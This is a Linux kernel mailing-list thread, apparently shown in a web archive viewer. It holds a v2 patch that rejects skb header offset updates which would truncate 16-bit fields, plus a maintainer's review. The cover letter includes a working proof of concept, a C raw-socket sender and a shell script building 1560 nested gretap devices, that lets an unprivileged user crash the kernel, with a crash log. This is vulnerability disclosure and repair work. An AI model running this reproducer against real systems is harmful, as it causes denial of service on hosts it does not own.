Skip to contentSkip to conversation

net: skbuff: reject skb header offset updates that truncate

PATCH In review Zihan Xi 2 participants 3 messages Jul 31 – Aug 2

Subsystems (3)
lore
Share & tools
lore

Zihan Xi

author
#0 lore raw

v2 cover net: skbuff: reject skb header offset updates that truncate

Hi Linux kernel maintainers,

We found and validated a issue in net/ipv4/raw.c. The bug is reachable by a non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

raw_send_hdrinc() and rawv6_send_hdrinc() reserve LL headroom before storing skb header offsets in 16-bit fields. Since commit 1a37e412a022 ("net: Use 16bits for *_headers fields of struct skbuff"), these offsets must stay representable, and U16_MAX is also the unset sentinel for transport_header.

With a deep gretap stack, LL_RESERVED_SPACE(dev) can grow to 65536. On the IPv4 hdrincl path, skb_reserve(skb, hlen) followed by skb_reset_network_header(skb) stores skb->data - skb->head in the 16-bit network_header field. When hlen reaches 65536, that stored offset truncates to
0. raw_send_hdrinc() then copies the userspace IPv4 header to ip_hdr(skb) at the wrapped offset, and the malformed skb later faults in eth_header().

IPv4 also has a second boundary at hlen + iphlen, because the transport header is advanced by the user-controlled IPv4 header length and U16_MAX itself is not a valid stored transport offset. The initial raw route is also not the only place that matters: LOCAL_OUT can reroute the skb, XFRM can add additional headroom, and later output/GSO paths can grow the skb head or recompute transport_header from network_header. Those later positive updates can overflow the same 16-bit state after the skb leaves raw.c.

This patch keeps the raw IPv4/IPv6 hdrincl entry bounds and adds checked helpers for later positive skb header offset updates and transport_header recomputations. The checked helpers reject values before they would overflow the stored 16-bit fields or turn transport_header into the U16_MAX sentinel, and the affected skb expansion, GSO, XFRM, ESP offload, and IPTFS output paths now propagate that failure instead of silently producing a truncated header offset.

The reproducer below exercises the IPv4 hdrincl crash path. The IPv6, XFRM, ESP offload, and IPTFS changes close the same 16-bit skb header offset invariant for later positive offset updates and transport-header recomputations found by code inspection.

We did not use packetdrill for the reproducer because the trigger depends on constructing a very deep gretap device stack so that LL_RESERVED_SPACE(dev) reaches the truncation boundary before the raw hdrincl send. packetdrill can express the final packet send, but not this device-topology setup as the main trigger condition.

Reproducer:

gcc -O2 -static -o poc poc.c
unshare -Urn ./poc
Actual trigger wrapper used in validation:
unshare -Urn ./poc.sh

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/if.h>
#include <netinet/ip.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

static uint16_t ip_checksum(const void *buf, size_t len)

{
	const uint8_t *p = buf;
	uint32_t sum = 0;

	while (len > 1) {
		sum += ((uint32_t)p[0] << 8) | p[1];
		p += 2;
		len -= 2;
	}

	if (len)
		sum += (uint32_t)p[0] << 8;

	while (sum >> 16)
		sum = (sum & 0xffffU) + (sum >> 16);

	return (uint16_t)~sum;
}

int main(int argc, char **argv)

{
	static const char payload[] = "ABCD";
	const char *ifname = argc > 1 ? argv[1] : "g1560";
	const char *dst_str = argc > 2 ? argv[2] : "192.0.2.2";
	const char *src_str = argc > 3 ? argv[3] : "192.0.2.1";
	struct sockaddr_in dst = {
		.sin_family = AF_INET,
	};
	struct iphdr iph = {
		.version = 4,
		.ihl = 5,
		.tos = 0,
		.tot_len = htons(sizeof(struct iphdr) + sizeof(payload) - 1),
		.id = htons(0x1234),
		.frag_off = 0,
		.ttl = 64,
		.protocol = 253,
		.check = 0,
	};
	unsigned char packet[sizeof(iph) + sizeof(payload) - 1];
	int fd;
	ssize_t n;

	if (inet_pton(AF_INET, src_str, &iph.saddr) != 1) {
		fprintf(stderr, "bad src %s\n", src_str);
		return 1;
	}
	if (inet_pton(AF_INET, dst_str, &iph.daddr) != 1) {
		fprintf(stderr, "bad dst %s\n", dst_str);
		return 1;
	}
	if (inet_pton(AF_INET, dst_str, &dst.sin_addr) != 1) {
		fprintf(stderr, "bad sockaddr dst %s\n", dst_str);
		return 1;
	}

	iph.check = ip_checksum(&iph, sizeof(iph));
	memcpy(packet, &iph, sizeof(iph));
	memcpy(packet + sizeof(iph), payload, sizeof(payload) - 1);

	fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (fd < 0) {
		perror("socket");
		return 1;
	}

	{
		int one = 1;

		if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) {
			perror("setsockopt(IP_HDRINCL)");
			close(fd);
			return 1;
		}
		if (setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, ifname,
			       strlen(ifname) + 1) < 0) {
			perror("setsockopt(SO_BINDTODEVICE)");
			close(fd);
			return 1;
		}
	}

	n = sendto(fd, packet, sizeof(packet), 0,
		   (struct sockaddr *)&dst, sizeof(dst));
	if (n < 0) {
		perror("sendto");
		close(fd);
		return 1;
	}

	printf("sent %zd bytes via %s to %s\n", n, ifname, dst_str);
	close(fd);
	return 0;
}

------END poc.c--------

------BEGIN poc.sh------
#!/bin/sh
set -eu

DEPTH="${DEPTH:-1560}"
TOP="g${DEPTH}"

if ip route show default 2>/dev/null | grep -q .; then
echo "run inside an isolated netns, e.g. unshare -n $0 or unshare -Urn $0" >&2 exit 1
fi

ip link add dummy0 type dummy
ip link set dummy0 up mtu 100000

lower="dummy0"
i=1
while [ "$i" -le "$DEPTH" ]; do

	a=$(( (i / 250) % 250 + 1 ))
	b=$(( i % 250 + 1 ))
	lip="10.${a}.${b}.1"
	rip="10.${a}.${b}.2"
	ip link add "g${i}" type gretap local "${lip}" remote "${rip}" dev "${lower}" key 1
	lower="g${i}"
	i=$((i + 1))

done

ip link set "${TOP}" up
ip addr add 192.0.2.1/24 dev "${TOP}"
ip neigh replace 192.0.2.2 lladdr 02:11:22:33:44:55 nud permanent dev "${TOP}"

exec ./poc "${TOP}" 192.0.2.2 192.0.2.1
------END poc.sh--------

----BEGIN crash log----

[   52.208710] BUG: unable to handle page fault for address: ffffa3986611fffe
[   52.220274] #PF: supervisor write access in kernel mode
[   52.228822] #PF: error_code(0x0002) - not-present page
[   52.249792] Oops: Oops: 0002 [#1] SMP NOPTI
[   52.313650] RIP: 0010:eth_header (net/ethernet/eth.c:86)
[   52.585894] Call Trace:
[   52.591902]  neigh_resolve_output (include/linux/netdevice.h:3503 net/core/neighbour.c:1611 net/core/neighbour.c:1596)
[   52.597910]  ip_finish_output2 (include/net/neighbour.h:560 (discriminator 2) net/ipv4/ip_output.c:236 (discriminator 2))
[   52.603665]  ip_output (net/ipv4/ip_output.c:443 net/ipv4/ip_output.c:324 include/linux/netfilter.h:307 net/ipv4/ip_output.c:437)
[   52.616159]  raw_sendmsg (net/ipv4/raw.c:677)
[   52.638531]  __sys_sendto (net/socket.c:775 (discriminator 1) net/socket.c:790 (discriminator 1) net/socket.c:2252 (discriminator 1))
[   52.643321]  __x64_sys_sendto (net/socket.c:2259 net/socket.c:2255 net/socket.c:2255)
[   52.648330]  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[   52.653123]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)

-----END crash log-----

Best regards,
Zihan Xi

changes in v2:
- Keep skb_segment() default error code after successful checked header offset updates to avoid returning ERR_PTR(0), as reported by the kernel test robot.
- Extend the checked update coverage to XFRM, ESP offload, and IPTFS transport-header recomputation paths instead of relying on raw hdrincl entry guards alone.
- v1 Link: https://lore.kernel.org/all/[email protected]/

---
 net/ipv4/esp4_offload.c |  15 +++--
 net/ipv4/raw.c          |   4 ++
 net/ipv6/esp6_offload.c |  15 +++--
 net/ipv6/raw.c          |   4 ++
 net/xfrm/xfrm_device.c  |  45 ++++++++++-----
 net/xfrm/xfrm_iptfs.c   |   6 +-
 net/xfrm/xfrm_output.c  |  21 ++++---
 9 files changed, 221 insertions(+), 41 deletions(-)
Signature · 1 line
2.43.0
author
#1 lore raw

PATCH v2 1/1 net: skbuff: reject skb header offset updates that truncate

raw_send_hdrinc() and rawv6_send_hdrinc() reserve LL headroom before storing skb header offsets in 16-bit fields. If the reserved headroom grows past the representable range, skb_reset_network_header() truncates the stored offset and the hdrincl path later copies the user header to the wrong location.

On IPv4 this can also happen after the user header is copied, because the transport header is advanced by iphlen. The value U16_MAX itself is not a valid transport header offset either, because it is used as the unset sentinel.

The initial raw route is not the only place that matters. LOCAL_OUT can reroute the skb, XFRM can add dst->header_len, and LWT or other output paths can grow the skb head later. More generally, positive calls into skb_headers_offset_update() can wrap these 16-bit offsets, while later paths that recompute transport_header from network_header can still overflow it or turn it into the U16_MAX sentinel.

Reject hdrincl sends when the initial reserved LL headroom cannot fit in the skb header offset fields, and reject later positive skb header offset updates or transport-header recomputations before they would overflow the stored 16-bit values.

Fixes 1a37e412a022 ("net: Use 16bits for *_headers fields of struct skbuff")
Assisted-by Codex:gpt-5.4

---
changes in v2:
- Keep skb_segment() default error code after successful checked header offset updates to avoid returning ERR_PTR(0), as reported by the kernel test robot.
- Extend the checked update coverage to XFRM, ESP offload, and IPTFS transport-header recomputation paths instead of relying on raw hdrincl entry guards alone.
- v1 Link: https://lore.kernel.org/all/[email protected]/

---
 include/linux/skbuff.h  |  28 +++++++++
 net/core/skbuff.c       | 124 +++++++++++++++++++++++++++++++++++++---
 net/ipv4/esp4_offload.c |  15 +++--
 net/ipv4/raw.c          |   4 ++
 net/ipv6/esp6_offload.c |  15 +++--
 net/ipv6/raw.c          |   4 ++
 net/xfrm/xfrm_device.c  |  45 ++++++++++-----
 net/xfrm/xfrm_iptfs.c   |   6 +-
 net/xfrm/xfrm_output.c  |  21 ++++---
 9 files changed, 221 insertions(+), 41 deletions(-)
include/linux/skbuff.h +28 -0
index 22eda1d54..c8e2fb217 100644
@@ -3126,6 +3126,34 @@ static inline void skb_set_transport_header(struct sk_buff *skb,
 	skb->transport_header += offset;
 }
 
+static inline bool __must_check
+skb_set_transport_header_careful(struct sk_buff *skb, const int offset)
+{
+	if (unlikely(offset < 0 || offset >= U16_MAX))
+		return false;
+	if (unlikely(skb->network_header >= U16_MAX - offset))
+		return false;
+
+	skb->transport_header = skb->network_header + offset;
+	return true;
+}
+
+static inline bool __must_check
+skb_add_transport_header_careful(struct sk_buff *skb, const int offset)
+{
+	if (offset > 0) {
+		if (unlikely(!skb_transport_header_was_set(skb)))
+			return false;
+		if (unlikely(offset >= U16_MAX))
+			return false;
+		if (unlikely(skb->transport_header >= U16_MAX - offset))
+			return false;
+	}
+
+	skb->transport_header += offset;
+	return true;
+}
+
 static inline unsigned char *skb_network_header(const struct sk_buff *skb)
 {
 	return skb->head + skb->network_header;
net/core/skbuff.c +116 -8

186 lines not on this page · raw message

net/ipv4/esp4_offload.c +10 -5
index abd77162f..a22ef044e 100644
@@ -138,7 +138,8 @@ static struct sk_buff *xfrm4_transport_gso_segment(struct xfrm_state *x,
 	struct sk_buff *segs = ERR_PTR(-EINVAL);
 	struct xfrm_offload *xo = xfrm_offload(skb);
 
-	skb->transport_header += x->props.header_len;
+	if (!skb_add_transport_header_careful(skb, x->props.header_len))
+		return ERR_PTR(-EOVERFLOW);
 	ops = rcu_dereference(inet_offloads[xo->proto]);
 	if (likely(ops && ops->callbacks.gso_segment))
 		segs = ops->callbacks.gso_segment(skb, features);
@@ -155,23 +156,27 @@ static struct sk_buff *xfrm4_beet_gso_segment(struct xfrm_state *x,
 	const struct net_offload *ops;
 	u8 proto = xo->proto;
 
-	skb->transport_header += x->props.header_len;
+	if (!skb_add_transport_header_careful(skb, x->props.header_len))
+		return ERR_PTR(-EOVERFLOW);
 
 	if (x->sel.family != AF_INET6) {
 		if (proto == IPPROTO_BEETPH) {
 			struct ip_beet_phdr *ph =
 				(struct ip_beet_phdr *)skb->data;
 
-			skb->transport_header += ph->hdrlen * 8;
+			if (!skb_add_transport_header_careful(skb, ph->hdrlen * 8))
+				return ERR_PTR(-EOVERFLOW);
 			proto = ph->nexthdr;
 		} else {
 			skb->transport_header -= IPV4_BEET_PHMAXLEN;
 		}
 	} else {
+		int offset;
 		__be16 frag;
 
-		skb->transport_header +=
-			ipv6_skip_exthdr(skb, 0, &proto, &frag);
+		offset = ipv6_skip_exthdr(skb, 0, &proto, &frag);
+		if (!skb_add_transport_header_careful(skb, offset))
+			return ERR_PTR(-EOVERFLOW);
 		if (proto == IPPROTO_TCP)
 			skb_shinfo(skb)->gso_type |= SKB_GSO_TCPV4;
 	}
net/ipv4/raw.c +4 -0
index 7f74d8b95..16354bf76 100644
@@ -356,6 +356,8 @@ static int raw_send_hdrinc(struct sock *sk, struct flowi4 *fl4,
 		goto out;
 
 	hlen = LL_RESERVED_SPACE(rt->dst.dev);
+	if (hlen >= U16_MAX - sizeof(struct iphdr))
+		return -EINVAL;
 	tlen = rt->dst.dev->needed_tailroom;
 	skb = sock_alloc_send_skb(sk,
 				  length + hlen + tlen + 15,
@@ -399,6 +401,8 @@ static int raw_send_hdrinc(struct sock *sk, struct flowi4 *fl4,
 	err = -EINVAL;
 	if (iphlen > length || iphlen < sizeof(*iph))
 		goto error_free;
+	if (hlen >= U16_MAX - iphlen)
+		goto error_free;
 
 	if (iphlen >= sizeof(*iph)) {
 		if (!iph->saddr)
net/ipv6/esp6_offload.c +10 -5
index 22895521a..e123f0a97 100644
@@ -174,7 +174,8 @@ static struct sk_buff *xfrm6_transport_gso_segment(struct xfrm_state *x,
 	struct sk_buff *segs = ERR_PTR(-EINVAL);
 	struct xfrm_offload *xo = xfrm_offload(skb);
 
-	skb->transport_header += x->props.header_len;
+	if (!skb_add_transport_header_careful(skb, x->props.header_len))
+		return ERR_PTR(-EOVERFLOW);
 	ops = rcu_dereference(inet6_offloads[xo->proto]);
 	if (likely(ops && ops->callbacks.gso_segment))
 		segs = ops->callbacks.gso_segment(skb, features);
@@ -191,7 +192,8 @@ static struct sk_buff *xfrm6_beet_gso_segment(struct xfrm_state *x,
 	const struct net_offload *ops;
 	u8 proto = xo->proto;
 
-	skb->transport_header += x->props.header_len;
+	if (!skb_add_transport_header_careful(skb, x->props.header_len))
+		return ERR_PTR(-EOVERFLOW);
 
 	if (x->sel.family != AF_INET6) {
 		skb->transport_header -=
@@ -201,7 +203,8 @@ static struct sk_buff *xfrm6_beet_gso_segment(struct xfrm_state *x,
 			struct ip_beet_phdr *ph =
 				(struct ip_beet_phdr *)skb->data;
 
-			skb->transport_header += ph->hdrlen * 8;
+			if (!skb_add_transport_header_careful(skb, ph->hdrlen * 8))
+				return ERR_PTR(-EOVERFLOW);
 			proto = ph->nexthdr;
 		} else {
 			skb->transport_header -= IPV4_BEET_PHMAXLEN;
@@ -210,10 +213,12 @@ static struct sk_buff *xfrm6_beet_gso_segment(struct xfrm_state *x,
 		if (proto == IPPROTO_TCP)
 			skb_shinfo(skb)->gso_type |= SKB_GSO_TCPV6;
 	} else {
+		int offset;
 		__be16 frag;
 
-		skb->transport_header +=
-			ipv6_skip_exthdr(skb, 0, &proto, &frag);
+		offset = ipv6_skip_exthdr(skb, 0, &proto, &frag);
+		if (!skb_add_transport_header_careful(skb, offset))
+			return ERR_PTR(-EOVERFLOW);
 	}
 
 	if (proto == IPPROTO_IPIP)
net/ipv6/raw.c +4 -0
index b88d364e7..fa223ec02 100644
@@ -15,6 +15,7 @@
  */
 
 #include <linux/errno.h>
+#include <linux/limits.h>
 #include <linux/types.h>
 #include <linux/socket.h>
 #include <linux/slab.h>
@@ -613,6 +614,9 @@ static int rawv6_send_hdrinc(struct sock *sk, struct msghdr *msg, int length,
 	if (flags&MSG_PROBE)
 		goto out;
 
+	if (hlen >= U16_MAX)
+		return -EINVAL;
+
 	skb = sock_alloc_send_skb(sk,
 				  length + hlen + tlen + 15,
 				  flags & MSG_DONTWAIT, &err);
net/xfrm/xfrm_device.c +31 -14

99 lines not on this page · raw message

net/xfrm/xfrm_iptfs.c +4 -2
index 597aedeac..13b62bcd9 100644
@@ -2379,7 +2379,8 @@ static int iptfs_encap_add_ipv4(struct xfrm_state *x, struct sk_buff *skb)
 
 	skb_set_network_header(skb, -(x->props.header_len - x->props.enc_hdr_len));
 	skb->mac_header = skb->network_header + offsetof(struct iphdr, protocol);
-	skb->transport_header = skb->network_header + sizeof(*top_iph);
+	if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+		return -EOVERFLOW;
 
 	top_iph = ip_hdr(skb);
 	top_iph->ihl = 5;
@@ -2426,7 +2427,8 @@ static int iptfs_encap_add_ipv6(struct xfrm_state *x, struct sk_buff *skb)
 
 	skb_set_network_header(skb, -x->props.header_len + x->props.enc_hdr_len);
 	skb->mac_header = skb->network_header + offsetof(struct ipv6hdr, nexthdr);
-	skb->transport_header = skb->network_header + sizeof(*top_iph);
+	if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+		return -EOVERFLOW;
 
 	top_iph = ipv6_hdr(skb);
 	top_iph->version = 6;
net/xfrm/xfrm_output.c +14 -7
index cc35c2fcb..0cebe752c 100644
@@ -73,7 +73,8 @@ static int xfrm4_transport_output(struct xfrm_state *x, struct sk_buff *skb)
 	skb_set_network_header(skb, -x->props.header_len);
 	skb->mac_header = skb->network_header +
 			  offsetof(struct iphdr, protocol);
-	skb->transport_header = skb->network_header + ihl;
+	if (!skb_set_transport_header_careful(skb, ihl))
+		return -EOVERFLOW;
 	__skb_pull(skb, ihl);
 	memmove(skb_network_header(skb), iph, ihl);
 	return 0;
@@ -179,7 +180,8 @@ static int xfrm6_transport_output(struct xfrm_state *x, struct sk_buff *skb)
 	skb_set_mac_header(skb,
 			   (prevhdr - x->props.header_len) - skb->data);
 	skb_set_network_header(skb, -x->props.header_len);
-	skb->transport_header = skb->network_header + hdr_len;
+	if (!skb_set_transport_header_careful(skb, hdr_len))
+		return -EOVERFLOW;
 	__skb_pull(skb, hdr_len);
 	memmove(ipv6_hdr(skb), iph, hdr_len);
 	return 0;
@@ -209,7 +211,8 @@ static int xfrm6_ro_output(struct xfrm_state *x, struct sk_buff *skb)
 	skb_set_mac_header(skb,
 			   (prevhdr - x->props.header_len) - skb->data);
 	skb_set_network_header(skb, -x->props.header_len);
-	skb->transport_header = skb->network_header + hdr_len;
+	if (!skb_set_transport_header_careful(skb, hdr_len))
+		return -EOVERFLOW;
 	__skb_pull(skb, hdr_len);
 	memmove(ipv6_hdr(skb), iph, hdr_len);
 
@@ -241,7 +244,8 @@ static int xfrm4_beet_encap_add(struct xfrm_state *x, struct sk_buff *skb)
 		skb->network_header += IPV4_BEET_PHMAXLEN;
 	skb->mac_header = skb->network_header +
 			  offsetof(struct iphdr, protocol);
-	skb->transport_header = skb->network_header + sizeof(*top_iph);
+	if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+		return -EOVERFLOW;
 
 	xfrm4_beet_make_header(skb);
 
@@ -288,7 +292,8 @@ static int xfrm4_tunnel_encap_add(struct xfrm_state *x, struct sk_buff *skb)
 	skb_set_network_header(skb, -x->props.header_len);
 	skb->mac_header = skb->network_header +
 			  offsetof(struct iphdr, protocol);
-	skb->transport_header = skb->network_header + sizeof(*top_iph);
+	if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+		return -EOVERFLOW;
 	top_iph = ip_hdr(skb);
 
 	top_iph->ihl = 5;
@@ -335,7 +340,8 @@ static int xfrm6_tunnel_encap_add(struct xfrm_state *x, struct sk_buff *skb)
 	skb_set_network_header(skb, -x->props.header_len);
 	skb->mac_header = skb->network_header +
 			  offsetof(struct ipv6hdr, nexthdr);
-	skb->transport_header = skb->network_header + sizeof(*top_iph);
+	if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+		return -EOVERFLOW;
 	top_iph = ipv6_hdr(skb);
 
 	top_iph->version = 6;
@@ -374,7 +380,8 @@ static int xfrm6_beet_encap_add(struct xfrm_state *x, struct sk_buff *skb)
 		skb->network_header += IPV4_BEET_PHMAXLEN;
 	skb->mac_header = skb->network_header +
 			  offsetof(struct ipv6hdr, nexthdr);
-	skb->transport_header = skb->network_header + sizeof(*top_iph);
+	if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+		return -EOVERFLOW;
 	ph = __skb_pull(skb, XFRM_MODE_SKB_CB(skb)->ihl - hdr_len);
 
 	xfrm6_beet_make_header(skb);
Signature · 1 line
2.43.0
#2 lore raw
Quoted 23 lines · Zihan Xi

raw_send_hdrinc() and rawv6_send_hdrinc() reserve LL headroom before storing skb header offsets in 16-bit fields. If the reserved headroom grows past the representable range, skb_reset_network_header() truncates the stored offset and the hdrincl path later copies the user header to the wrong location.

On IPv4 this can also happen after the user header is copied, because the transport header is advanced by iphlen. The value U16_MAX itself is not a valid transport header offset either, because it is used as the unset sentinel.

The initial raw route is not the only place that matters. LOCAL_OUT can reroute the skb, XFRM can add dst->header_len, and LWT or other output paths can grow the skb head later. More generally, positive calls into skb_headers_offset_update() can wrap these 16-bit offsets, while later paths that recompute transport_header from network_header can still overflow it or turn it into the U16_MAX sentinel.

Reject hdrincl sends when the initial reserved LL headroom cannot fit in the skb header offset fields, and reject later positive skb header offset updates or transport-header recomputations before they would overflow the stored 16-bit values.

Quoted 5 lines
Fixes 1a37e412a022 ("net: Use 16bits for *_headers fields of struct skbuff")
Assisted-by Codex:gpt-5.4

This is an enormous amount of code change, including in the hot path, for a rare edge case.

Can we instead address this at the source at control time. E.g., fail GRETAP (or similar) stacking if it exceeds a safe headroom?

The patch also seems to combine multiple paths. It mentions raw (and those changes are fairly small), but then also adds checks to XFRM. That should likely be a separate patch. If needed at all. As said, hopefully we can catch this by restricting the bad configurations, rather than by testing each packet over such a configuration.